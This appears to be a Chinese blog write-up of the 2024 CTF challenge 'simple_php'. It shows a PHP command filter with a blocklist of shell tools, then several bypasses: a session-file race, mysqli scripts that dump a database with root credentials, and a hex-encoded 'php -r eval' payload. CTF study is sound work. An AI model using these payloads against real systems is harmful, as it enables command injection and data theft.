首页 > 编程语言 >国赛2024 simple_php(三种方法)

国赛2024 simple_php(三种方法)

时间:2024-05-21 17:57:09浏览次数:22  
标签:simple 数据库 国赛 echo 2024 result php conn row

<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
  $cmd = escapeshellcmd($_POST['cmd']); 
   if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
     system($cmd);
}
}

show_source(__FILE__);
?>

题目如上过滤了很多

方法一:

经过测试发现可以利用session文件包含

意思就是你传一个post请求包

他会生成一个临sess_+时文件

文件名即为/sess_+PHPSESSID值

image-20240521170556575

临时文件在/tmp/sess_aaaa下

系统会删除这个文件

我们要在它删除之前去访问它(条件竞争)

直接post传cmd=php /tmp/sess_aaaa

image-20240521171041274

两个文件同时去发包

image-20240521171407957

在构建的post包123处写上想要执行的代码即可

<?php system('ls /');?>

执行后没找到flag

怀疑在数据库中

利用php脚本去链接数据库

<?php
// 建立连接
$conn = new mysqli("localhost", "root", "root");

// 检查连接
if ($conn->connect_error) {
    die("连接失败: " . $conn->connect_error);
}

// 查询所有数据库名
$sql = "SHOW DATABASES";
$result = $conn->query($sql);

// 输出数据库名
if ($result->num_rows > 0) {
    while($row = $result->fetch_assoc()) {
        echo "数据库名:" . $row["Database"] . "<br>";
    }
} else {
    echo "未找到数据库。";
}

// 关闭连接
$conn->close();
?>

image-20240521171505762

成功

并且发现可疑数据库

继续查表

<?php
// 数据库连接信息
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "PHP_CMS";

// 创建连接
$conn = new mysqli($servername, $username, $password, $dbname);

// 检查连接
if ($conn->connect_error) {
    die("连接失败: " . $conn->connect_error);
}

// 查询所有表名
$sql = "SHOW TABLES";
$result = $conn->query($sql);

// 输出表名
if ($result->num_rows > 0) {
    echo "数据库 " . $dbname . " 中的表名:<br>";
    while($row = $result->fetch_assoc()) {
        echo $row["Tables_in_PHP_CMS"] . "<br>";
    }
} else {
    echo "该数据库中没有表。";
}

// 关闭连接
$conn->close();
?>

image-20240521172038693

发现可疑表F1ag_Se3Re7

接着去查表中内容

<?php
// 数据库连接信息
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "PHP_CMS";

// 创建连接
$conn = new mysqli($servername, $username, $password, $dbname);

// 检查连接
if ($conn->connect_error) {
    die("连接失败: " . $conn->connect_error);
}

// 查询 F1ag_Se3Re7 表中的内容
$sql = "SELECT * FROM F1ag_Se3Re7";
$result = $conn->query($sql);

// 输出内容
if ($result->num_rows > 0) {
    echo "F1ag_Se3Re7 表中的内容:<br>";
    while($row = $result->fetch_assoc()) {
        // 输出每行数据
        foreach ($row as $key => $value) {
            echo $key . ": " . $value . "<br>";
        }
        echo "<br>";
    }
} else {
    echo "F1ag_Se3Re7 表中没有数据。";
}

// 关闭连接
$conn->close();
?>

image-20240521172524809

得到flag

ctfshow{2c8541c2-ad6e-42a5-93c1-fe2e2fb1243c}

方法二:

和方法一类似

前提是你需要有一个服务器(我的服务器出了些问题就不演示了,有什么难点可以找我讨论)

还是用上面的方法

直接去反弹shell(反弹shell的命令网上有,用php的)

方法三:

这里的环境是比赛时的环境

过滤比较多

但还可以利用php -r

后面用编码绕过

![img](file:///C:\Users\Ding0\AppData\Local\Temp\ksohtml13700\wps1.jpg)

![img](file:///C:\Users\Ding0\AppData\Local\Temp\ksohtml13700\wps2.jpg)

目录中没有flag怀疑在数据库中

![img](file:///C:\Users\Ding0\AppData\Local\Temp\ksohtml13700\wps3.jpg)

接下来连接数据库执行命令

![img](file:///C:\Users\Ding0\AppData\Local\Temp\ksohtml13700\wps4.jpg)

先查库

![img](file:///C:\Users\Ding0\AppData\Local\Temp\ksohtml13700\wps5.jpg)

<?php

$a="echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;'`;";

$b=bin2hex($a);

echo $b;

?>
结果:6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b27603b

查表

再查表中内容

<?php

$a="echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;select * from F1ag_Se3Re7;'`;";

$b=bin2hex($a);

echo $b;

?>

即可

cmd=php -r eval(hex2bin(substr(s6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b73656c656374202a2066726f6d20463161675f5365335265373b27603b,1)));

![img](file:///C:\Users\Ding0\AppData\Local\Temp\ksohtml13700\wps6.jpg)

也可得到flag

标签:simple,数据库,国赛,echo,2024,result,php,conn,row
From: https://www.cnblogs.com/dghh/p/18204666

相关文章

  • 2024.04.23日团队开发第四天
     学习时间2h代码行数160行博客量1篇学习内容对前端页面进行了优化,编写了最基本的登录页面的后端代码<template><viewclass="msg"><cu-custombgColor="bg-black":isBack="false"><blockslot="backText"&......
  • 2024.4.26日团队开发第七天
    学习时间1h代码行数50行博客量1篇学习内容主要完成了视频发布页面的展示代码<template><viewstyle="height:700px;"><viewclass="blank"></view><cu-custombgColor="bg-black":isBack="true&q......
  • 2024.04.22
    所学时间:2小时代码行数:127行博客园数:1篇所学知识:编写web作业,完成了大致页面。<%@pageimport="java.util.*"%><%@pageimport="java.text.*"%><%@pagesession="true"%><%@pagelanguage="java"%><%@pagecontentType=......
  • 2024.04.17
        学习时间1h代码行数50行博客量2篇学习内容主要进行了《从小工到大工》的阅读,并且对代码进行了优化  <template><viewclass="index"><index-headerbgColor="bg-index-header"@headerSwitch="headerSwitch"/>......
  • Google I/O 2024 All In One
    GoogleI/O2024AllInOnehttps://io.google/2024https://io.google/2024/intl/zh/demoshttps://io.google/2024/explore/intl/zh/?q=webcookieshttps://io.google/2024/explore/2f6e1e21-3e91-407e-93fc-364c4500cd23/intl/zh/(......
  • 2024年5月21日
    AluoguP3030考虑DP状态(i,sum,data)表示已经放了\(i\)个砖块,总和为\(sum\)是的最小花钱。转移:枚举第\(i\)个选多少。时间复杂度\(O(n\sqrt{m}\cdotm)\)#include<bits/stdc++.h>usingnamespacestd;constintN=15,M=10005;constlonglongINF......
  • 2024-05-21 Module not found: Error: Can't resolve 'ant-design-vue/dist/antd.css'
    报错:Modulenotfound:Error:Can'tresolve'ant-design-vue/dist/antd.css'in'xxx'原因:引入的antd.css文件实际上应该是reset.css文件,是由于ant-design-vue的官网给的代码和实际下的包的文件不一致导致。解决方案:把import"ant-design-vue/dist/antd.css";改成import"ant......
  • ciscn2024初赛部分题目复现
    gdb_debug64位ida反编译,将主要加密部分使用chatgpt写成更容易理解的python形式如下:defencrypt_string(s):v17=[]foriinrange(len(s)):v17.append(ord(s[i])^rand_1[i])ptr=list(range(len(s)))forkinrange(len(s)-1,0,-1):......
  • 鸿心聚力,智引未来 | OpenAtom OpenHarmony开发者大会2024即将启幕
    开源技术已成为推动科技创新的关键动力。在这种趋势下,OpenAtomOpenHarmony(以下简称“OpenHarmony”)项目凭借其独特的开源理念和强大的生态吸引力,正逐渐成为引领智能终端操作系统发展的新趋势。5月25日,以“鸿心聚力智引未来”为主题的OpenHarmony开发者大会2024将在深圳盛大开幕......
  • 【2024-05-20】亲子乱调
    20:00调剂阴晴作好年,麦寒豆暖两周旋。枇杷黄后杨梅紫,正是农家小满天。                                                 ——《吴门竹枝词·小满》二宝昨晚睡得极不踏......